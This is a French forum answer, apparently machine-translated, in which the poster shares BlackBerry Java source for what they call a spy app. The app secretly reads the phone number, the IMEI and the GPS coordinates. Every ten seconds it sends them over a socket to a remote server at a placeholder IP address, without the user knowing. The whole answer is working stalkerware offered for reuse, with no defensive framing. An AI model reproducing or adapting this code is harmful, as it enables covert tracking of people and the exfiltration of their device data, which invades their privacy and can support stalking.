2009-08-29 7 views

Répondre

0

J'ai travaillé sur un projet où je dois faire une application espion pour envoyer la localisation GPS de l'utilisateur au serveur sans le connaître ici est le code pour cela j'espère qu'il peut vous aider un peu.

package mypackage; 

import java.io.OutputStreamWriter; 
import java.util.Date; 
import java.util.Timer; 
import java.util.TimerTask; 

import javax.microedition.io.Connector; 
import javax.microedition.io.SocketConnection; 
import javax.microedition.location.LocationProvider; 

import net.rim.blackberry.api.phone.Phone; 
import net.rim.device.api.gps.BlackBerryCriteria; 
import net.rim.device.api.gps.BlackBerryLocation; 
import net.rim.device.api.gps.BlackBerryLocationProvider; 
import net.rim.device.api.gps.GPSInfo; 
import net.rim.device.api.i18n.SimpleDateFormat; 
import net.rim.device.api.system.Application; 
import net.rim.device.api.system.IDENInfo; 
import net.rim.device.api.ui.component.Dialog; 

public class MyApp extends Application 
{ 
public BlackBerryCriteria _criteria; 
public BlackBerryLocationProvider _locationProvider; 
public BlackBerryLocation _location; 
public SocketConnection socket; 
double lat; 
double lon; 
public Timer _timer; 
public TimerTask _timerTask; 
public String _imei; 
public Date date; 
public String pNumber; 

public static void main(String[] args) 
{ 
    MyApp theApp = new MyApp();  
    theApp.enterEventDispatcher(); 
} 
public MyApp() 
{    
    _imei = IDENInfo.imeiToString(IDENInfo.getIMEI()); 
    pNumber = Phone.getDevicePhoneNumber(true); 
    _criteria = new BlackBerryCriteria(); 
    if(GPSInfo.isGPSModeAvailable(GPSInfo.GPS_MODE_AUTONOMOUS)){ 
    _criteria.setMode(GPSInfo.GPS_MODE_AUTONOMOUS); 
    }else{ 
     Dialog.alert("GPS not Available"); 
    } 
    _timer = new Timer(); 
    _timerTask = new TimerTask(){ 
     public void run() { 

      try{ 
       String currentdate = new SimpleDateFormat("yy/MM/dd").format(new Date(System.currentTimeMillis())); 

       _criteria.setHorizontalAccuracy(5); 
       _criteria.setVerticalAccuracy(5); 
       _criteria.setPreferredResponseTime(10000); 
       _locationProvider = (BlackBerryLocationProvider)LocationProvider.getInstance(_criteria); 
       _location= (BlackBerryLocation)_locationProvider.getLocation(-1); 
       lat =_location.getQualifiedCoordinates().getLatitude(); 
       lon = _location.getQualifiedCoordinates().getLongitude(); 
       String url = "<your IP address with port no(Format: 000.000.000.000:Port>;deviceside = false"; 
       socket = (SocketConnection)Connector.open(url,Connector.READ_WRITE); 
       socket.setSocketOption(SocketConnection.KEEPALIVE,1); 
       OutputStreamWriter _out = new OutputStreamWriter(socket.openOutputStream()); 
       String data = pNumber+"##"+_imei+"##"+lat+"##"+lon+"##"+currentdate+"##"; 
       int length = data.length(); 
       _out.write(data,0,length); 
       _out.close(); 
       socket.close(); 
      }catch(Exception e){ 
       Dialog.alert(e.toString()); 
      } 
     } 
    }; 
    _timer.scheduleAtFixedRate(_timerTask, 0,10000); 
}  
} 
Questions connexes